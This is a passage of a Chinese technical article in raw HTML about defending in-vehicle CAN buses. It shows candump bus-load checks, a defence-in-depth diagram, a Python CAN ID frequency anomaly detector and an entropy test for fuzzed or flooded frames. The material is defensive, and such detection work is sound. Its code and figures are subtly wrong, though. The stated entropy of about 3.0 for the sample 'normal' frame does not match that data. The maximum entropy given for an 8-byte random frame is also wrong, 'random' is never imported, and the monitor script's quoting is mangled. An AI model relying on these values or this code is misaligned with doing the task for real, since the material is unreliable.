leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><span leaf=\"\">\u8d1f\u8f7d\u7387\u5b9e\u65f6\u76d1\u63a7<\/span><\/h4>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 2em;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><span leaf=\"\">\u8d1f\u8f7d\u7387\u662f\u8861\u91cf\u603b\u7ebf&#8221;\u7e41\u5fd9\u7a0b\u5ea6&#8221;\u7684\u6838\u5fc3\u6307\u6807\u3002\u6b63\u5e38\u60c5\u51b5\u4e0b\uff0c\u603b\u7ebf\u8d1f\u8f7d\u572820-60%\u4e4b\u95f4\uff1b\u5f53\u53d1\u751f<\/span><span style=\"color: rgb(183, 28, 28);font-weight: 700;\"><span leaf=\"\">DoS<\/span><\/span><span leaf=\"\">\u6cdb\u6d2a\u653b\u51fb\u65f6\uff0c\u8d1f\u8f7d\u53ef\u80fd\u77ac\u95f4\u98d9\u5347\u523095%\u4ee5\u4e0a\u3002<\/span><\/p>\n<section><span leaf=\"\"><br  \/><\/span><\/section>\n<figure style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 24px 0px;background: rgb(248, 250, 252);border: 1px solid rgb(226, 232, 240);border-radius: 10px;padding: 20px;text-align: center;\">\n<p><span leaf=\"\">\u56fe\uff1a\u6c7d\u8f66\u7f51\u7edc\u5b89\u5168\u4e09\u5c42\u7eb5\u6df1\u9632\u5fa1\u4f53\u7cfb<\/span><\/p>\n<p><svg viewbox=\"0 0 800 320\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:100%;font-family:sans-serif;\"><rect x=\"10\" y=\"85\" width=\"80\" height=\"50\" rx=\"6\" fill=\"#ffebee\" stroke=\"#c62828\" stroke-width=\"2\"><\/rect><text x=\"50\" y=\"105\" text-anchor=\"middle\" font-size=\"10\" fill=\"#c62828\" font-weight=\"bold\"><tspan leaf=\"\">\ud83d\udea8 \u653b\u51fb\u8005<\/tspan><\/text><text x=\"50\" y=\"119\" text-anchor=\"middle\" font-size=\"8\" fill=\"#c62828\"><tspan leaf=\"\">\u4f2a\u9020\u5e27\/DoS<\/tspan><\/text><line x1=\"90\" y1=\"110\" x2=\"135\" y2=\"110\" stroke=\"#c62828\" stroke-width=\"2.5\" stroke-dasharray=\"6,3\"><\/line><line x1=\"90\" y1=\"120\" x2=\"135\" y2=\"120\" stroke=\"#c62828\" stroke-width=\"2.5\" stroke-dasharray=\"6,3\"><\/line><line x1=\"90\" y1=\"130\" x2=\"135\" y2=\"130\" stroke=\"#c62828\" stroke-width=\"2.5\" stroke-dasharray=\"6,3\"><\/line><rect x=\"140\" y=\"50\" width=\"280\" height=\"120\" rx=\"12\" fill=\"none\" stroke=\"#1565c0\" stroke-width=\"3\" stroke-dasharray=\"10,4\"><\/rect><rect x=\"148\" y=\"58\" width=\"264\" height=\"104\" rx=\"8\" fill=\"#e3f2fd\" opacity=\"0.5\"><\/rect><text x=\"280\" y=\"82\" text-anchor=\"middle\" font-size=\"12\" fill=\"#0d47a1\" font-weight=\"bold\"><tspan leaf=\"\">\ud83d\udee1\ufe0f Layer 3 \u00b7 ISO 21434 \u751f\u547d\u5468\u671f<\/tspan><\/text><circle cx=\"200\" cy=\"125\" r=\"22\" fill=\"#bbdefb\" stroke=\"#1565c0\" stroke-width=\"1.5\"><\/circle><path d=\"M200,112 A18,18 0 1,1 182,125\" fill=\"none\" stroke=\"#1565c0\" stroke-width=\"2\" stroke-dasharray=\"4,2\"><\/path><polygon points=\"182,125 188,119 188,131\" fill=\"#1565c0\"><\/polygon><text x=\"250\" y=\"110\" text-anchor=\"middle\" font-size=\"9\" fill=\"#1565c0\"><tspan leaf=\"\">\u7814\u53d1\u751f\u547d\u5468\u671f<\/tspan><\/text><text x=\"250\" y=\"124\" text-anchor=\"middle\" font-size=\"8\" fill=\"#888\"><tspan leaf=\"\">\u5f00\u53d1 \u00b7 \u751f\u4ea7 \u00b7 \u8fd0\u8425 \u00b7 \u62a5\u5e9f<\/tspan><\/text><text x=\"280\" y=\"145\" text-anchor=\"middle\" font-size=\"8\" fill=\"#1565c0\"><tspan leaf=\"\">TARA\u5206\u6790 + \u6e17\u900f\u6d4b\u8bd5<\/tspan><\/text><line x1=\"420\" y1=\"50\" x2=\"420\" y2=\"170\" stroke=\"#c62828\" stroke-width=\"2\"><\/line><text x=\"425\" y=\"115\" font-size=\"10\" fill=\"#c62828\" font-weight=\"bold\"><tspan leaf=\"\">\ud83d\udeab<\/tspan><\/text><rect x=\"435\" y=\"82\" width=\"240\" height=\"88\" rx=\"10\" fill=\"none\" stroke=\"#2e7d32\" stroke-width=\"3\" stroke-dasharray=\"8,3\"><\/rect><rect x=\"443\" y=\"90\" width=\"224\" height=\"72\" rx=\"7\" fill=\"#e8f5e9\" opacity=\"0.5\"><\/rect><text x=\"555\" y=\"107\" text-anchor=\"middle\" font-size=\"12\" fill=\"#1b5e20\" font-weight=\"bold\"><tspan leaf=\"\">\ud83d\udd10 Layer 2 \u00b7 CAN FD + MAC \u8ba4\u8bc1<\/tspan><\/text><rect x=\"450\" y=\"122\" width=\"28\" height=\"20\" rx=\"3\" fill=\"#c8e6c9\" stroke=\"#2e7d32\" stroke-width=\"1.5\"><\/rect><path d=\"M453,122 A6,6 0 0,1 465,122\" fill=\"none\" stroke=\"#2e7d32\" stroke-width=\"2\"><\/path><text x=\"493\" y=\"132\" text-anchor=\"middle\" font-size=\"9\" fill=\"#2e7d32\"><tspan leaf=\"\">\u6bcf\u5e27MAC\u9a8c\u7b7e<\/tspan><\/text><text x=\"555\" y=\"152\" text-anchor=\"middle\" font-size=\"8\" fill=\"#1b5e20\"><tspan leaf=\"\">\u4f2a\u9020\u5e27 \u2192 MAC\u5931\u8d25 \u2192 \u4e22\u5f03<\/tspan><\/text><rect x=\"480\" y=\"195\" width=\"210\" height=\"68\" rx=\"8\" fill=\"#fff3e0\" stroke=\"#f57c00\" stroke-width=\"2.5\"><\/rect><text x=\"585\" y=\"214\" text-anchor=\"middle\" font-size=\"11\" fill=\"#e65100\" font-weight=\"bold\"><tspan leaf=\"\">\ud83d\udea6 Layer 1 \u00b7 \u7f51\u5173 ID \u767d\u540d\u5355\u8fc7\u6ee4<\/tspan><\/text><rect x=\"492\" y=\"228\" width=\"48\" height=\"26\" rx=\"5\" fill=\"#ffcc80\" stroke=\"#f57c00\" stroke-width=\"1.5\"><\/rect><text x=\"516\" y=\"242\" text-anchor=\"middle\" font-size=\"7\" fill=\"#e65100\"><tspan leaf=\"\">\u7f51\u5173<\/tspan><\/text><text x=\"570\" y=\"232\" text-anchor=\"middle\" font-size=\"9\" fill=\"#f57c00\"><tspan leaf=\"\">\u4ec5\u653e\u884c\u6388\u6743CAN ID<\/tspan><\/text><text x=\"570\" y=\"247\" text-anchor=\"middle\" font-size=\"8\" fill=\"#888\"><tspan leaf=\"\">0x1A4, 0x0C8, 0x155&#8230;<\/tspan><\/text><text x=\"570\" y=\"260\" text-anchor=\"middle\" font-size=\"8\" fill=\"#888\"><tspan leaf=\"\">\u672a\u77e5ID\u76f4\u63a5\u4e22\u5f03<\/tspan><\/text><rect x=\"555\" y=\"270\" width=\"80\" height=\"32\" rx=\"6\" fill=\"#f5f5f5\" stroke=\"#999\" stroke-width=\"1.5\"><\/rect><text x=\"595\" y=\"290\" text-anchor=\"middle\" font-size=\"10\" fill=\"#666\" font-weight=\"bold\"><tspan leaf=\"\">\ud83d\ude97 \u8f66\u8f86\u5b89\u5168<\/tspan><\/text><line x1=\"480\" y1=\"230\" x2=\"555\" y2=\"286\" stroke=\"#2e7d32\" stroke-width=\"1.5\" stroke-dasharray=\"4,3\"><\/line><line x1=\"690\" y1=\"230\" x2=\"635\" y2=\"286\" stroke=\"#2e7d32\" stroke-width=\"1.5\" stroke-dasharray=\"4,3\"><\/line><text x=\"400\" y=\"310\" text-anchor=\"middle\" font-size=\"9\" fill=\"#666\"><tspan leaf=\"\">\u7eb5\u6df1\u9632\u5fa1\uff1a\u653b\u51fb\u8005\u906d\u9047\u7b2c\u4e00\u5c42\u65f6\u5927\u90e8\u5206\u5df2\u88ab\u62e6\u622a\uff0c\u5373\u4f7f\u7a81\u7834\u4e00\u5c42\u4ecd\u6709\u540e\u7eed\u591a\u5c42\u4fdd\u62a4<\/tspan><\/text><\/svg><\/figure>\n<section><span leaf=\"\"><br  \/><\/span><\/section>\n<section class=\"code-snippet__fix code-snippet__js\">\n<ul class=\"code-snippet__line-index code-snippet__js\">\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<\/ul>\n<pre class=\"code-snippet__js\" data-lang=\"bash\"><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u65b9\u6cd51\uff1a\u7528candump\u7edf\u8ba1\u6bcf\u79d2\u5e27\u6570\uff08\u7b80\u5355\u76f4\u89c2\uff09<\/span><\/span><\/code><code><span leaf=\"\">watch -n 1&nbsp;<span class=\"code-snippet__string\">'candump vcan0 2&gt;\/dev\/null | wc -l'<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u6b63\u5e38\u60c5\u51b5\uff1a\u6bcf\u79d2\u51e0\u5341\u5230\u51e0\u767e\u5e27<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u6a21\u7cca\u653b\u51fb\u65f6\uff1a\u53ef\u80fd\u77ac\u95f4\u8fbe\u5230\u6570\u5343\u5e27\/\u79d2<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u65b9\u6cd52\uff1a\u7528Candump\u65e5\u5fd7\u5206\u6790\u603b\u7ebf\u8d1f\u8f7d\u7387<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u9996\u5148\u5f55\u5236\u4e00\u6bb5\u65f6\u95f4\u7684\u65e5\u5fd7<\/span><\/span><\/code><code><span leaf=\"\">candump -l vcan0 30sec.<span class=\"code-snippet__built_in\">log<\/span>&nbsp;&amp; &nbsp;<span class=\"code-snippet__comment\"># \u5f55\u523630\u79d2<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__built_in\">sleep<\/span>&nbsp;30<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u5206\u6790\u6bcf\u79d2\u5e27\u6570\u5206\u5e03<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__built_in\">cat<\/span>&nbsp;30sec.<span class=\"code-snippet__built_in\">log<\/span>&nbsp;| awk&nbsp;<span class=\"code-snippet__string\">'{print substr($2,2,8)}'<\/span>&nbsp;|&nbsp;<span class=\"code-snippet__built_in\">cut<\/span>&nbsp;-d. -f1 |&nbsp;<span class=\"code-snippet__built_in\">sort<\/span>&nbsp;|&nbsp;<span class=\"code-snippet__built_in\">uniq<\/span>&nbsp;-c<\/span><\/code><\/pre>\n<\/section>\n<h4 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(21, 101, 192);margin-top: 20px;font-weight: 600;\" data-pm-slice=\"0 0 []\"><span leaf=\"\">\u65b9\u6cd5\u4e8c\uff1a<\/span><span style=\"color: rgb(230, 81, 0);font-weight: 700;\"><span leaf=\"\">CAN ID<\/span><\/span><span leaf=\"\">\u9891\u7387\u5f02\u5e38\u68c0\u6d4b<\/span><\/h4>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 2em;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\">\u6bcf\u4e2aECU\u53d1\u9001<\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u5e27<\/span><\/span><span leaf=\"\">\u7684\u9891\u7387\u662f\u76f8\u5bf9\u56fa\u5b9a\u7684\uff08\u5468\u671f\u4fe1\u53f7\uff09\u3002\u5f53\u67d0\u4e2a<\/span><span style=\"color: rgb(230, 81, 0);font-weight: 700;\"><span leaf=\"\">CAN ID<\/span><\/span><span leaf=\"\">\u7684\u53d1\u9001\u9891\u7387\u7a81\u7136\u5927\u5e45\u53d8\u5316\u65f6\uff0c\u5f88\u53ef\u80fd\u610f\u5473\u7740\u51fa\u73b0\u4e86\u5f02\u5e38\u2014\u2014\u8981\u4e48\u662fECU\u672c\u8eab\u51fa\u73b0\u4e86\u6545\u969c\uff0c\u8981\u4e48\u662f\u906d\u5230\u4e86\u6ce8\u5165\u653b\u51fb\u3002<\/span><\/p>\n<section class=\"code-snippet__fix code-snippet__js\">\n<ul class=\"code-snippet__line-index code-snippet__js\">\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<\/ul>\n<pre class=\"code-snippet__js\" data-lang=\"php\"><code><span leaf=\"\"><span class=\"code-snippet__comment\">#!\/usr\/bin\/env python3<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__string\">\"\"\"can_id_monitor.py - CAN ID\u9891\u7387\u76d1\u63a7\u4e0e\u5f02\u5e38\u68c0\u6d4b\"\"\"<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__keyword\">from<\/span>&nbsp;collections import defaultdict<\/span><\/code><code><span leaf=\"\">import subprocess, time, sys<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__title\">def monitor_can_ids<\/span>(iface=<span class=\"code-snippet__string\">'vcan0'<\/span>, duration=<span class=\"code-snippet__number\">10<\/span>, interval=<span class=\"code-snippet__number\">1<\/span>):<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp;&nbsp;<span class=\"code-snippet__string\">\"\"\"\u76d1\u63a7CAN ID\u53d1\u9001\u9891\u7387\uff0c\u8d85\u8fc7\u9608\u503c10\u500d\u5219\u544a\u8b66\"\"\"<\/span><\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; id_counter =&nbsp;<span class=\"code-snippet__title\">defaultdict<\/span>(<span class=\"code-snippet__keyword\">int<\/span>)<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp;&nbsp;<span class=\"code-snippet__keyword\">print<\/span>(f<span class=\"code-snippet__string\">'[*] \u76d1\u63a7 {iface}\uff0c\u6301\u7eed {duration} \u79d2...)<\/span><\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; start = time.time()<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; while time.time() - start &lt; duration:<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; try:<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; output = subprocess.check_output(<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ['candump<span class=\"code-snippet__string\">', iface], timeout=interval,<\/span><\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; stderr=subprocess.DEVNULL<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ).decode()<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for line in output.split('\\n<span class=\"code-snippet__string\">'):<\/span><\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; parts = line.split()<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if len(parts) &gt;= 3 and 'vcan<span class=\"code-snippet__string\">' in parts[0]:<\/span><\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; id_counter[parts[2]] += 1<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; except subprocess.TimeoutExpired:<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pass<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; if not id_counter:<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; print('[\u2717] \u672a\u68c0\u6d4b\u5230\u4efb\u4f55CAN\u5e27<span class=\"code-snippet__string\">'); return<\/span><\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; avg = sum(id_counter.values()) \/ len(id_counter)<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; sorted_ids = sorted(id_counter.items(), key=lambda x: x[1], reverse=True)<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; print('\\n[CAN ID\u9891\u7387\u7edf\u8ba1 - \u524d<span class=\"code-snippet__number\">10<\/span>\u540d]<span class=\"code-snippet__string\">')<\/span><\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; for can_id, cnt in sorted_ids[:10]:<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; bar = '\u2588<span class=\"code-snippet__string\">' * int(cnt \/ max(avg, 1) * 3)<\/span><\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; alert = '\u26a0\ufe0f \u5f02\u5e38!<span class=\"code-snippet__string\">' if cnt &gt; avg * 10 else ''<\/span><\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; print(f' &nbsp;ID:{can_id:&gt;<span class=\"code-snippet__number\">8<\/span>} &nbsp;\u6b21\u6570:{cnt:&gt;<span class=\"code-snippet__number\">6<\/span>} &nbsp;{bar} &nbsp;{alert}<span class=\"code-snippet__string\">')<\/span><\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; anomalies = [(i, c) for i, c in sorted_ids if c &gt; avg * 10]<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; if anomalies:<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; print('\\n[!] \u68c0\u6d4b\u5230\u5f02\u5e38\u9ad8\u9891ID\uff08\u8d85\u8fc7\u5e73\u5747\u503c<span class=\"code-snippet__number\">10<\/span>\u500d\uff09:<span class=\"code-snippet__string\">')<\/span><\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; for can_id, cnt in anomalies:<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f' &nbsp; &nbsp;ID: {can_id:&gt;<span class=\"code-snippet__number\">8<\/span>} &nbsp;\u6b21\u6570: {cnt:&gt;<span class=\"code-snippet__number\">6<\/span>} &nbsp;(\u9608\u503c: {avg:<span class=\"code-snippet__number\">.1<\/span>f})<span class=\"code-snippet__string\">')<\/span><\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; else:<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; &nbsp; &nbsp; print('\\n[\u2713] \u672a\u68c0\u6d4b\u5230\u5f02\u5e38\u9ad8\u9891ID<span class=\"code-snippet__string\">')<\/span><\/span><\/code><code><span leaf=\"\">if __name__ == '__main__<span class=\"code-snippet__string\">':<\/span><\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; monitor_can_ids(sys.argv[1] if len(sys.argv) &gt; 1 else 'vcan0<span class=\"code-snippet__string\">')<\/span><\/span><\/code><\/pre>\n<\/section>\n<h4 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(21, 101, 192);margin-top: 20px;font-weight: 600;\" data-pm-slice=\"0 0 []\"><span leaf=\"\">\u65b9\u6cd5\u4e09\uff1a\u5e27\u6570\u636e\u71b5\u503c\u5206\u6790<\/span><\/h4>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 2em;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\">\u6b63\u5e38\u7684\u4e1a\u52a1<\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u5e27<\/span><\/span><span leaf=\"\">\uff0c\u6570\u636e\u5b57\u8282\u6709\u660e\u786e\u7684\u4e1a\u52a1\u542b\u4e49\uff08\u4f8b\u5982\u8f66\u901f\u503c\u9075\u5faa\u4e00\u5b9a\u7684\u6570\u503c\u8303\u56f4\uff09\uff0c\u5b57\u8282\u5206\u5e03\u4e0d\u5747\u5300\u3002<\/span><span style=\"color: rgb(198, 40, 40);font-weight: 700;\"><span leaf=\"\">\u6a21\u7cca\u6ce8\u5165<\/span><\/span><span leaf=\"\">\u7684\u968f\u673a\u6570\u636e\u5219\u8d8b\u5411\u4e8e\u5747\u5300\u5206\u5e03\uff08\u4fe1\u606f\u71b5\u503c\u9ad8\uff09\u3002<\/span><\/p>\n<section class=\"code-snippet__fix code-snippet__js\">\n<ul class=\"code-snippet__line-index code-snippet__js\">\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<li><\/li>\n<\/ul>\n<pre class=\"code-snippet__js\" data-lang=\"python\"><code><span leaf=\"\"><span class=\"code-snippet__keyword\">from<\/span>&nbsp;math&nbsp;<span class=\"code-snippet__keyword\">import<\/span>&nbsp;log2<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__keyword\">def<\/span>&nbsp;<span class=\"code-snippet__title\">entropy<\/span>(<span class=\"code-snippet__params\">data:&nbsp;<\/span><span class=\"code-snippet__params\"><span class=\"code-snippet__built_in\">bytes<\/span><\/span>) -&gt;&nbsp;<span class=\"code-snippet__built_in\">float<\/span>:<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp;&nbsp;<span class=\"code-snippet__string\">\"\"\"\u8ba1\u7b97\u5b57\u8282\u5e8f\u5217\u7684\u4fe1\u606f\u71b5\uff080=\u5b8c\u5168\u6709\u5e8f\uff0c8=\u5b8c\u5168\u968f\u673a\uff09\"\"\"<\/span><\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp; freq = [data.count(<span class=\"code-snippet__built_in\">bytes<\/span>([b])) \/&nbsp;<span class=\"code-snippet__built_in\">len<\/span>(data)&nbsp;<span class=\"code-snippet__keyword\">for<\/span>&nbsp;b&nbsp;<span class=\"code-snippet__keyword\">in<\/span>&nbsp;<span class=\"code-snippet__built_in\">range<\/span>(<span class=\"code-snippet__number\">256<\/span>)]<\/span><\/code><code><span leaf=\"\">&nbsp; &nbsp;&nbsp;<span class=\"code-snippet__keyword\">return<\/span>&nbsp;-<span class=\"code-snippet__built_in\">sum<\/span>(f * log2(f)&nbsp;<span class=\"code-snippet__keyword\">if<\/span>&nbsp;f &gt;&nbsp;<span class=\"code-snippet__number\">0<\/span>&nbsp;<span class=\"code-snippet__keyword\">else<\/span>&nbsp;<span class=\"code-snippet__number\">0<\/span>&nbsp;<span class=\"code-snippet__keyword\">for<\/span>&nbsp;f&nbsp;<span class=\"code-snippet__keyword\">in<\/span>&nbsp;freq)<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u6b63\u5e38\u901f\u5ea6\u5e27\u6570\u636e\uff1a\u71b5\u503c\u7ea63-5\uff08\u90e8\u5206\u5b57\u8282\u6709\u4e1a\u52a1\u542b\u4e49\uff09<\/span><\/span><\/code><code><span leaf=\"\">normal =&nbsp;<span class=\"code-snippet__built_in\">bytes<\/span>([<span class=\"code-snippet__number\">0x00<\/span>,&nbsp;<span class=\"code-snippet__number\">0x00<\/span>,&nbsp;<span class=\"code-snippet__number\">0x00<\/span>,&nbsp;<span class=\"code-snippet__number\">0x00<\/span>,&nbsp;<span class=\"code-snippet__number\">0x00<\/span>,&nbsp;<span class=\"code-snippet__number\">0x00<\/span>,&nbsp;<span class=\"code-snippet__number\">0x88<\/span>,&nbsp;<span class=\"code-snippet__number\">0x13<\/span>])<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__built_in\">print<\/span>(<span class=\"code-snippet__string\">f'\u6b63\u5e38\u5e27\u71b5\u503c:&nbsp;<\/span><span class=\"code-snippet__string\"><span class=\"code-snippet__subst\">{entropy(normal):<\/span><\/span><span class=\"code-snippet__string\"><span class=\"code-snippet__subst\"><span class=\"code-snippet__number\">.2<\/span><\/span><\/span><span class=\"code-snippet__string\"><span class=\"code-snippet__subst\">f}<\/span><\/span><span class=\"code-snippet__string\">'<\/span>) &nbsp;&nbsp;<span class=\"code-snippet__comment\"># \u2248 3.0<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u6a21\u7cca\u6ce8\u5165\u51680xFF\u5e27\uff1a\u71b5\u503c\u4f4e\uff08\u53ea\u6709\u4e00\u4e2a\u503c\uff09<\/span><\/span><\/code><code><span leaf=\"\">flood =&nbsp;<span class=\"code-snippet__built_in\">bytes<\/span>([<span class=\"code-snippet__number\">0xFF<\/span>] *&nbsp;<span class=\"code-snippet__number\">8<\/span>)<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__built_in\">print<\/span>(<span class=\"code-snippet__string\">f'DoS\u6cdb\u6d2a\u5e27\u71b5\u503c:&nbsp;<\/span><span class=\"code-snippet__string\"><span class=\"code-snippet__subst\">{entropy(flood):<\/span><\/span><span class=\"code-snippet__string\"><span class=\"code-snippet__subst\"><span class=\"code-snippet__number\">.2<\/span><\/span><\/span><span class=\"code-snippet__string\"><span class=\"code-snippet__subst\">f}<\/span><\/span><span class=\"code-snippet__string\">'<\/span>) &nbsp;<span class=\"code-snippet__comment\"># \u2248 0<\/span><\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__comment\"># \u968f\u673a\u6a21\u7cca\u5e27\uff1a\u71b5\u503c\u9ad8\uff08\u63a5\u8fd1\u5747\u5300\u5206\u5e03\uff09<\/span><\/span><\/code><code><span leaf=\"\">random_data =&nbsp;<span class=\"code-snippet__built_in\">bytes<\/span>([<span class=\"code-snippet__built_in\">int<\/span>(random.random() *&nbsp;<span class=\"code-snippet__number\">256<\/span>)&nbsp;<span class=\"code-snippet__keyword\">for<\/span>&nbsp;_&nbsp;<span class=\"code-snippet__keyword\">in<\/span>&nbsp;<span class=\"code-snippet__built_in\">range<\/span>(<span class=\"code-snippet__number\">8<\/span>)])<\/span><\/code><code><span leaf=\"\"><span class=\"code-snippet__built_in\">print<\/span>(<span class=\"code-snippet__string\">f'\u968f\u673a\u6a21\u7cca\u5e27\u71b5\u503c:&nbsp;<\/span><span class=\"code-snippet__string\"><span class=\"code-snippet__subst\">{entropy(random_data):<\/span><\/span><span class=\"code-snippet__string\"><span class=\"code-snippet__subst\"><span class=\"code-snippet__number\">.2<\/span><\/span><\/span><span class=\"code-snippet__string\"><span 